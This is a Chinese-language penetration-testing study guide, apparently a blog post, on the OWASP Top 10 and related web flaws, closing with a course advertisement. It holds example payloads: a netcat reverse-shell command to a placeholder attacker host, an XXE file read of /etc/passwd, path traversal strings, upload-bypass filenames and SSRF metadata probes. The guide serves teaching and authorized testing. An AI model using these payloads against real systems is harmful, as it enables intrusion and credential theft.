一、核心漏洞类别

  1. 注入漏洞

    • 手动: 在所有输入点尝试注入特殊字符 (', ", ;, #, --, /* */, |, &, $(), 反引号, 模板语法 {{}}, ${} 等),观察应用响应(错误信息、延迟、数据变化)。
    • 自动化: SQLMap (SQLi), Commix (Command Injection), tplmap (SSTI), Burp Suite Scanner, ZAP Scanner。WAF Bypass 技术常用。
    • SQL 注入 (SQLi): 最经典。通过操纵 SQL 查询语句窃取、篡改、删除数据库数据,甚至执行系统命令 (取决于数据库配置)。' OR '1'='1 是最简单的例子。
    • 命令注入 (OS Command Injection): 在输入字段中注入系统命令 (;, |, &, &&, ||, $(), 反引号)。利用点常出现在调用系统命令的函数中 (如 system(), exec())。; ls -la /
    • LDAP 注入: 操纵 LDAP 查询语句,绕过认证或获取敏感目录信息。
    • XPath 注入: 操纵 XML 路径查询。
    • NoSQL 注入: 针对 MongoDB, CouchDB 等,利用其查询语法 (如 JSON/BSON) 的解析差异进行攻击。
    • ORM 注入: ORM 框架使用不当可能导致底层 SQLi。
    • 模板注入 (SSTI - Server-Side Template Injection): 在模板引擎 (Jinja2, Twig, Freemarker, Velocity 等) 中注入恶意模板代码,导致远程代码执行 (RCE)。{{ 7*7 }} 探测。
    • 原理: 将不受信任的数据作为命令或查询的一部分发送给解释器(如 SQL、OS、LDAP、NoSQL 数据库、ORM、模板引擎等),欺骗解释器执行非预期的命令或访问非授权数据。
    • 常见类型:
    • 危害: 数据泄露、数据篡改、数据丢失、认证绕过、服务器完全沦陷 (RCE)。
    • 检测:
    • 利用: 构造有效载荷获取数据 (如 UNION SELECT),执行命令 (如 ; nc -e /bin/sh attacker_ip 4444),写入 Webshell。
  2. 失效的身份认证

    • 检查密码策略强度。
    • 测试登录端点是否存在暴力破解漏洞 (Burp Intruder, Hydra)。
    • 分析会话令牌的生成、传输、存储、失效机制 (是否 HTTPS? HttpOnly? Secure? 长度/熵? 注销后是否失效?)。
    • 检查密码重置、修改密码功能的安全性。
    • 审计 JWT 实现。
    • 弱口令/默认口令: 未强制复杂密码策略,或使用默认管理员密码。
    • 暴力破解/字典攻击: 认证端点无有效速率限制、CAPTCHA 或账户锁定机制。
    • 会话固定 (Session Fixation): 攻击者诱使用户使用一个已知的会话 ID 登录。
    • 会话劫持 (Session Hijacking): 窃取有效的会话令牌 (Cookie, JWT) 来冒充用户。XSS、网络嗅探、预测令牌。
    • 会话失效不当: 用户注销后会话未在服务器端立即失效,或会话超时设置过长。
    • 密码管理问题: 明文存储密码、弱哈希 (MD5, SHA1)、无盐哈希、密码重置流程不安全 (可预测 Token、安全问题答案易猜)。
    • JWT 安全问题: 未验证签名 (alg: none 攻击)、使用弱密钥、敏感信息存储在 Token 中。
    • 原理: 身份认证或会话管理功能实现存在缺陷,导致攻击者能够破坏密码、密钥、会话令牌或利用其他实现缺陷假冒其他用户身份。
    • 常见问题:
    • 危害: 用户账户被完全接管 (尤其是管理员账户),导致权限提升和数据泄露。
    • 检测:
    • 利用: 使用工具 (Hydra, Burp Intruder) 进行暴力破解;利用 XSS 窃取 Cookie;重放捕获的会话令牌;篡改 JWT。
  3. 敏感数据泄露

    • 检查所有涉及敏感数据的传输是否强制使用 HTTPS (HSTS)。
    • 审计存储机制 (如何存?存哪里?是否加密?密钥管理?)。
    • 分析 HTTP 响应头 (Cache-Control, Pragma, Server, X-Powered-By, 自定义头)。
    • 主动扫描常见泄露文件 (DirBuster, Gobuster, Burp Content Discovery)。
    • 故意触发错误查看错误信息。
    • 检查源代码/配置是否有硬编码凭证。
    • 传输中未加密: 未使用 TLS (HTTPS) 或使用弱加密协议/套件。
    • 存储中未加密/弱加密: 数据库、文件系统、备份中的敏感数据明文存储,或使用了过时/弱加密算法、硬编码密钥。
    • 不必要的数据存储: 存储了超出业务需要的敏感数据。
    • 错误的响应头/缓存: 包含敏感信息的响应被缓存 (浏览器、代理服务器、CDN),或未设置安全的缓存策略。
    • 信息泄露: 错误消息包含堆栈跟踪、服务器版本、数据库结构等敏感信息;文件目录列表未关闭;.git, .svn, .DS_Store, 备份文件 (*.bak, *.old) 等可访问。
    • 原理: 未对敏感数据(如密码、信用卡号、个人身份信息 (PII)、健康记录)进行充分保护。
    • 常见问题:
    • 危害: 大规模数据泄露、身份盗窃、金融欺诈、合规性处罚、声誉损害。
    • 检测:
    • 利用: 直接访问泄露的文件;分析错误信息;嗅探网络流量;利用其他漏洞 (如路径遍历、XXE) 读取配置文件。
  4. XML 外部实体注入

    • 尝试在 XML 请求中插入外部实体声明:
    • 原理: 配置不当的 XML 解析器处理了包含外部实体声明的 XML 输入。攻击者利用此功能读取内部文件、进行内部端口扫描、执行远程代码 (在特定条件下) 或发起拒绝服务攻击。
    • 常见入口点: 接受 XML 上传或输入的 API (SOAP, REST)、文件上传 (如 DOCX 本质是 ZIP+XML)、某些单点登录 (SSO) 实现。
    • 危害: 读取服务器任意文件 (/etc/passwd, 源代码, 配置文件)、内部网络探测、服务器端请求伪造 (SSRF)、拒绝服务 (Billion Laughs 攻击)、特定条件下 RCE。
    • 检测:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><data>&xxe;</data>
    • 尝试使用不同的协议 (file://, http://, ftp://, php://filter 等)。
    • 观察响应是否包含文件内容、是否发起外部请求 (Burp Collaborator)、是否有延迟或错误。
  • 利用: 构造恶意 XML 读取文件;利用 php://filter 进行 Base64 编码读取 PHP 源码;利用外部 DTD 进行带外数据外带 (OOB XXE)。

5. 失效的访问控制

    • 手动测试: 登录不同权限账户,尝试访问本不该访问的 URL、修改请求中的 ID 参数、尝试执行高权限操作。使用 Burp Repeater/Intruder 修改请求。
    • 自动化辅助: Burp Scanner 能发现部分 IDOR,但主要依赖手动逻辑测试。
    • 检查所有 API 端点的权限验证。
    • 分析 CORS 策略 (Access-Control-Allow-Origin 是否过于宽松)。
    • 水平越权 (Horizontal Privilege Escalation): 用户 A 能访问用户 B 的数据/功能 (如 /user/profile?uid=123 -> 修改 uid 为 124)。
    • 垂直越权 (Vertical Privilege Escalation): 普通用户能访问管理员功能 (如 直接访问 /admin/deleteUser 或猜测/修改隐藏的 Role 参数)。
    • 不安全的直接对象引用 (IDOR - Insecure Direct Object References): 通过修改 URL 或请求参数中的标识符(如数据库主键、文件名)直接访问未授权资源。是水平越权的常见表现形式。
    • 功能级访问控制缺失: 未在服务器端对每个功能点进行权限校验,仅依赖前端隐藏按钮/菜单。
    • API 访问控制失效: API 端点未正确验证调用者权限或 Token 范围。
    • CORS 配置错误: 允许不受信任的域访问敏感 API。
    • 原理: 对经过身份验证的用户可以执行的操作缺乏有效限制。通常表现为权限验证缺失或配置错误。

    • 常见问题:

    • 危害: 未授权访问、查看、修改、删除他人的数据或执行特权操作。

    • 检测:

    • 利用: 修改请求参数;直接访问高权限 URL;利用 IDOR 遍历数据。

      6. 安全配置错误

    • 端口扫描 (Nmap) 识别开放服务和版本。
    • 目录/文件扫描 (Gobuster, DirBuster) 找常见路径和文件。
    • 分析 HTTP 响应头和错误信息。
    • 使用 Nikto, WPScan (针对 WordPress) 等扫描器识别配置缺陷和已知漏洞。
    • 手动检查默认页面、管理界面。
    • 检查云存储权限。
    • 默认账户/密码未修改。
    • 不必要的服务/端口开放。
    • 目录列表未禁用。
    • 错误处理不当 (泄露堆栈信息)。
    • 未安装最新的安全补丁。
    • HTTP 不安全方法启用 (PUT, DELETE, TRACE)。
    • 不安全的 HTTP 头配置 (如缺少 Content-Security-Policy, X-Content-Type-Options: nosniff, X-Frame-Options: DENY, Strict-Transport-Security)。
    • 云存储桶 (S3, Blob) 配置为公开可访问。
    • 原理: 应用程序、框架、应用服务器、Web 服务器、数据库、平台或云服务的安全配置未定义、未实施或配置错误(如使用默认配置、启用不必要的功能、暴露过多信息)。

    • 常见问题:

    • 危害: 为攻击者提供直接入口或扩大攻击面,导致其他漏洞更容易被利用。

    • 检测:

    • 利用: 直接访问泄露的信息或功能;利用未打补丁的漏洞;利用开放的服务进行攻击。

      \7. 跨站脚本

    • 手动: 在所有输入点尝试注入简单 payload (如 <script>alert(1)</script>),观察是否弹出警告框。对于 DOM XSS,需结合浏览器开发者工具调试分析数据流。
    • 自动化: Burp Suite Scanner, ZAP Scanner, XSStrike 等。但 DOM XSS 检测较难。
    • 反射型 XSS (Reflected XSS): 恶意脚本来自当前 HTTP 请求(通常在 URL 参数中),服务器将其“反射”回响应页面并执行。需要诱骗用户点击恶意链接。
    • 存储型 XSS (Stored XSS / Persistent XSS): 恶意脚本被永久存储在服务器上(如数据库、评论、消息),当其他用户访问包含该内容的页面时自动执行。危害更大。
    • DOM 型 XSS (DOM-based XSS): 漏洞完全发生在客户端浏览器中。恶意脚本通过修改页面的 DOM 环境来执行,不经过服务器响应(或服务器响应是安全的)。触发源是 document.location, document.URL, document.referrer 等客户端可控对象。
    • 原理: 攻击者能够将恶意脚本 (通常是 JavaScript) 注入到其他用户浏览的网页中。当受害者的浏览器渲染该页面时,恶意脚本在其上下文中执行。

    • 类型:

    • 危害: 窃取用户会话 Cookie、模拟用户操作、重定向用户到恶意网站、记录键盘输入、传播蠕虫、篡改页面内容。

    • 检测:

    • 利用: 构造 payload 窃取 Cookie (document.cookie) 并发送到攻击者服务器;发起 CSRF 请求;加载恶意键盘记录器;显示钓鱼内容。

      \8. 不安全的反序列化

    • 识别应用中处理序列化数据的地方 (参数、Cookie、文件、Token)。
    • 篡改序列化数据 (如修改字段值、类型混淆),观察应用行为 (错误、异常、代码执行迹象)。
    • 使用工具 (如 ysoserial for Java, phpggc for PHP) 生成针对特定库的 Gadget 链 payload 进行测试。
    • 分析反序列化过程是否进行签名验证、类型白名单检查。
    • 原理: 将不受信任的、攻击者篡改后的序列化数据还原成对象。如果应用程序在反序列化过程中未进行充分验证,攻击者可能注入恶意对象或数据,导致任意代码执行、权限提升、重放攻击或注入攻击。

    • 常见于: 远程过程调用 (RPC)、消息队列、缓存机制、API 身份认证令牌 (如 Java 的 readObject(), Python 的 pickle/cPickle, PHP 的 unserialize(), .NET 的 BinaryFormatter).

    • 危害: 远程代码执行 (RCE)、拒绝服务、权限提升、篡改应用逻辑。

    • 检测:

    • 利用: 构造包含恶意 Gadget 链的序列化对象,触发反序列化漏洞执行任意命令。

      \9. 使用含有已知漏洞的组件

    • 依赖扫描: 使用 OWASP Dependency-Check, Snyk, WhiteSource, Black Duck, npm audit, pip-audit 等工具扫描项目依赖。
    • 版本识别: 通过文件指纹 (如 README.md, CHANGELOG, 文件哈希)、HTTP 响应头 (X-Powered-By, Server)、错误信息识别组件及其版本。
    • 漏洞数据库查询: 在 NVD, CVE Details, Exploit-DB, 组件官方安全公告等平台查询对应版本的漏洞。
    • 原理: 应用程序使用了具有已知安全漏洞的第三方组件(库、框架、模块、操作系统)。攻击者利用这些公开的漏洞进行攻击。

    • 危害: 风险等同于组件漏洞本身的风险(可能是 RCE, SQLi, XSS 等高危)。

    • 检测:

    • 利用: 查找公开的漏洞利用代码 (Exploit),针对性地攻击目标应用。

      \10. 不足的日志记录和监控

    • 检查日志策略:记录哪些事件?日志存储位置和保留时间?是否包含足够信息 (时间戳、源 IP、用户标识、事件描述、结果)?
    • 测试关键事件是否被记录(如多次失败登录、IDOR 尝试、访问管理页面)。
    • 是否有实时监控和告警机制?
    • 渗透测试过程中是否触发告警?
    • 原理: 未能有效记录安全相关事件(登录、访问控制失败、关键操作),或虽有日志但缺乏监控、告警和应急响应流程。导致攻击无法被及时发现、调查和响应。
    • 危害: 攻击长期潜伏不被发现,数据持续泄露,攻击者有时间扩大攻击范围、消除痕迹。
    • 检测:
    • 利用 (间接): 攻击者利用该漏洞掩盖其攻击痕迹,延长攻击时间。

二、其他重要漏洞

  • 服务器端请求伪造

    • 原理: 诱导服务器端应用向攻击者指定的内部或外部资源发起 HTTP 请求。利用服务器作为代理进行内部探测、攻击内部系统、绕过访问控制。
    • 危害: 访问内部服务/API、扫描内网、攻击防火墙后的系统、读取本地文件 (file://)、利用云元数据服务 (如 AWS IAM Role Credentials)。
    • 检测: 在参数可控的 URL 的地方 (如图片加载、PDF 生成、Webhook) 尝试 http://attacker-controlled.com, http://localhost, http://169.254.169.254 (AWS 元数据), file:///etc/passwd。使用 Burp Collaborator 检测带外请求。
  • 文件上传漏洞:

    • 原理: 对用户上传的文件缺乏有效验证(类型、内容、大小、名称),导致攻击者上传恶意文件 (Webshell, 恶意脚本) 并可能执行它。
    • 危害: Webshell 导致服务器完全沦陷。
    • 检测: 尝试上传各种恶意文件 (.php, .jsp, .aspx),尝试绕过黑名单 (双扩展名 .jpg.php,大小写 .PhP,空字节 .jpg%00.php),尝试修改 Content-Type,尝试利用解析差异 (如 IIS 6.0 分号截断)。
  • 路径遍历

    • 原理: 利用未能正确过滤用户输入中的特殊字符序列(如 ../..\),访问应用程序预期目录之外的文件或目录。
    • 危害: 读取敏感系统文件、配置文件、源代码、日志;覆盖关键文件。
    • 检测: 在文件名或路径参数中尝试 ../../../../etc/passwd, ..%2F..%2Fetc%2Fpasswd (URL 编码), ....// (双重编码)。
  • 业务逻辑漏洞:

    • 原理: 应用程序的业务流程、规则或逻辑实现存在缺陷,可被攻击者滥用。
    • 常见类型: 无限试用/注册、薅羊毛 (批量领券)、订单金额篡改、负库存、条件竞争 (Race Condition)、流程绕过 (如跳过支付步骤)。
    • 危害: 直接经济损失、欺诈、滥用资源。
    • 检测: 深入理解业务逻辑,尝试非正常操作流程,寻找逻辑不一致性。依赖手动测试和经验。

三、渗透测试漏洞利用链

实际攻击中,攻击者很少只依赖单一漏洞。通常会组合利用多个漏洞形成 攻击链 (Exploit Chain) 以达到最终目标。例如:

  1. 利用 XSS 窃取管理员 Cookie -> 获得管理员会话 -> 垂直越权
  2. 利用 SQL 注入 获取数据库中的密码哈希 -> 破解弱哈希 -> 认证绕过 -> 登录普通用户 -> 发现 IDOR -> 访问其他用户敏感数据 (水平越权)。
  3. 利用 SSRF 访问 AWS 元数据获取 IAM Role 临时凭证 -> 利用凭证访问 S3 存储桶 (敏感数据泄露) 或控制云资源。
  4. 利用 文件上传 漏洞传 Webshell -> 但需要知道绝对路径 -> 利用 XXE 读取配置文件获取路径 -> 成功 Getshell (RCE)。

四、漏洞检测工具 (渗透测试必备)

  • 综合扫描器: Burp Suite Professional (首选), OWASP ZAP, Nessus, Nexpose, OpenVAS, Acunetix, Netsparker。

  • 代理/拦截器: Burp Suite (Community/Pro), OWASP ZAP, Fiddler, Charles Proxy。

  • 漏洞利用框架: Metasploit Framework (MSF), Cobalt Strike (商业)。

  • 特定漏洞工具:

    • SQLi: SQLMap
    • XSS: XSStrike, XSSer
    • Command Injection: Commix
    • SSTI: tplmap
    • XXE: XXEinjector
    • 反序列化: ysoserial (Java), phpggc (PHP)
    • SSRF: SSRFmap, Gopherus
    • 目录/文件扫描: Gobuster, DirBuster, Dirsearch, ffuf
    • 端口扫描: Nmap
    • 暴力破解: Hydra, Medusa, Burp Intruder
    • 依赖扫描: OWASP Dependency-Check, Snyk
  • 网络工具: Wireshark (抓包), Ncat / Netcat (瑞士军刀), Curl (命令行 HTTP 客户端)。

  • Webshell管理: AntSword (蚁剑), Behinder (冰蝎), C刀。

五、关键注意事项

  1. 授权!授权!授权! 渗透测试必须在获得明确书面授权的范围内进行。未经授权的测试是违法的。
  2. 影响评估: 发现漏洞后,评估其实际可利用性和潜在业务影响至关重要。
  3. 最小化影响: 避免使用可能造成服务中断或数据损坏的测试方法 (如暴力破解生产环境主数据库)。
  4. 清晰报告: 漏洞报告应清晰描述漏洞细节 (位置、步骤、POC)、风险等级、影响和建议修复方案。使用 CVSS 评分。
  5. 持续学习: 漏洞和利用技术日新月异,需要不断学习研究新的攻击手法、防御技术和工具。
  6. 道德准则: 严格遵守渗透测试道德规范,保护客户数据和隐私。

理解这些核心漏洞的原理、检测和利用方法,是成为一名优秀渗透测试人员的基础。实际测试中需要结合手动探索和自动化工具,并深刻理解目标应用的业务逻辑和上下文环境。

关于网络安全技术储备

网络安全是当今信息时代中非常重要的一环。无论是找工作还是感兴趣(黑客),都是未来职业选择中上上之选,为了保护自己的网络安全,学习网络安全知识是必不可少的。

如果你是准备学习网络安全(黑客)或者正在学习,下面这些你应该能用得上:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全(黑客)学习路线

网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

在这里插入图片描述

二、网络安全教程视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

img

四、网络安全面试题

最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

在这里插入图片描述

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

img

更多推荐